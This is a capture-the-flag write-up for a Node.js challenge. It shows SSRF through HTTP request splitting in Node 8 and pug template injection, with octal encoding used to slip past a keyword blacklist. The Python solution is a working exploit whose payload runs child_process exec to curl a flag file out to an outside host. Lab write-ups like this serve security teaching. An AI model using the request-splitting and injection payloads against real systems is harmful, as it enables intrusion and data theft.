# split second* ## Observation:In the main page,we can see that there is a picture with a exciting kid dancing their lol.I look into the page source and see that the picture is an iframe that is sent from ```/core``` page.After testing parameter ```q```,I know that some words and symbols are filtered on the backend.     
My next goal is try to find some useful page and then I find some interesting page which is ```/source``` and ```/flag``` page.  
After auditing source code,I figure out that it is a SSRF challenge.But I don't have idea how to reach SSRF since ```http``` module filter ```'\d\n'``` properly.After googling,I find some useful resource to achieve our goal and here is the [link](https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/).  

source code```javascript//node 8.12.0var express = require('express');var app = express();var fs = require('fs');var path = require('path');var http = require('http');var pug = require('pug');
app.get('/', function(req, res) {    res.sendFile(path.join(__dirname + '/index.html'));});
app.get('/source', function(req, res) {    res.sendFile(path.join(__dirname + '/source.html'));});
app.get('/getMeme',function(req,res){   res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe>via GIPHY')
via GIPHY
});
app.get('/flag', function(req, res) {    var ip = req.connection.remoteAddress;    if (ip.includes('127.0.0.1')) {        var authheader = req.headers['adminauth'];        var pug2 = decodeURI(req.headers['pug']);        var x=pug2.match(/[a-z]/g);        if(!x){         if (authheader === "secretpassword") {            var html = pug.render(pug2);         }        }       else{        res.send("No characters");      }    }    else{     res.send("You need to come from localhost");    }});
app.get('/core', function(req, res) {    var q = req.query.q;    var resp = "";    if (q) {        var url = 'http://localhost:8081/getMeme?' + q        console.log(url)        var trigger = blacklist(url);        if (trigger === true) {            res.send("Errrrr, You have been Blocked");        } else {            try {                http.get(url, function(resp) {                    resp.setEncoding('utf8');                    resp.on('error', function(err) {                    if (err.code === "ECONNRESET") {                     console.log("Timeout occurs");                     return;                    }                   });
Errrrr, You have been Blocked
                    resp.on('data', function(chunk) {                        resps = chunk.toString();                        res.send(resps);                    }).on('error', (e) => {                         res.send(e.message);});                });            } catch (error) {                console.log(error);            }        }    } else {        res.send("search param 'q' missing!");    }})
function blacklist(url) {    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];    var arrayLen = evilwords.length;    for (var i = 0; i < arrayLen; i++) {        const trigger = url.includes(evilwords[i]);        if (trigger === true) {            return true        }    }}
var server = app.listen(8081, function() {    var host = server.address().address    var port = server.address().port    console.log("Example app listening at http://%s:%s", host, port)})
```

When sending request to ```/flag```,server will check for if header ```x-forwarded-for```==```127.0.0.1``` , header ```adminauth```==```secretpassword``` and header ```pug``` can't contain any lower case alphabats.The first two conditions are easy to achieve but the third one is a bit of hard to figure out.Now,I have to understand how ```pug``` work, what kind of attack can achieve and how to bypass the third condition.
After reading this [article](https://pugjs.org/language/interpolation.html),I guess that we can try to construct an code execution payload. So I test it locally and as expected,we can acheive code execution([resource](https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html) about vm escape)```javascriptvar pug = require('pug');//First one may cause some problem because of http.get will remove string after #,and I try double encode to fix this problem,but it doesn't work,since decodeURI('%23') will return "%23".pug.render('#{console.log(1)}');put.render('-console.log(1)');//will print 1 on terminal```
The last thing we need to do is try to figure out a payload that can bypass header ```pug```'s' check and function ```blacklist```.   We can encode alphabat in payload into octal(hex and unicode are not good idea since they contain alphabat) to bypass header check and double url encode  ```"``` and ```'``` to bypass funtion ```blacklist```.   Expect to alphabat,we don't need to encode other characters in payload into octal.Otherwise it will cause some problem since ```-```,```(```,```)```,```[```,```]```,```"``` and ```'``` are considered as meaningful character and we cannot encode them ,or it won't be executed.```javascript[]["constructor"]//valid[]["\143\157\156\163\164\162\165\143\164\157\162"]//valid,executable[][\42\143\157\156\163\164\162\165\143\164\157\162\42]//invalid,since " is encodeed```
* ## Solution```python# coding=UTF-8import requestsfrom requests.utils import quotedef toOct(str):	r=""	for i in str:		if i>='a'and i<='z':			r+='\\'+oct(ord(i))[1:]		else:			r+=i	return r
#This next line could test in nodejs interpreter so that we can observe the similar behavior about how http treat on unicode(\u{xxxx} is js encode pattern)#Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString() #Unicode čĊ will convert to latin1 which will only pick up the right most byteSPACE=u'\u0120'.encode('utf-8')CRLF=u'\u010d\u010a'.encode('utf-8')  # transfer from unicode to utf-8 (\uxxxx is unicode's pattern)SLASH=u'\u012f'.encode('utf-8')
pug = toOct('''-[]["constructor"]["constructor"]("console.log(this.process.mainModule.require('child_process').exec('curl 172.19.0.1:8888 -X POST -d @flag.txt'))")()''').replace('"','%22').replace("'","%27")#' and " need to be double encodedprint quote(pug)
payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'x-forwarded-for:'+SPACE+'127.0.0.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACE
res=requests.get('http://172.19.0.2:8081/core?q='+quote(payload))#res=requests.get('http://web2.ctf.nullcon.net:8081/core?q='+requote_uri(payload))print res.content```* ## Flag```hackim20{You_must_be_1337_in_JavaScript!}```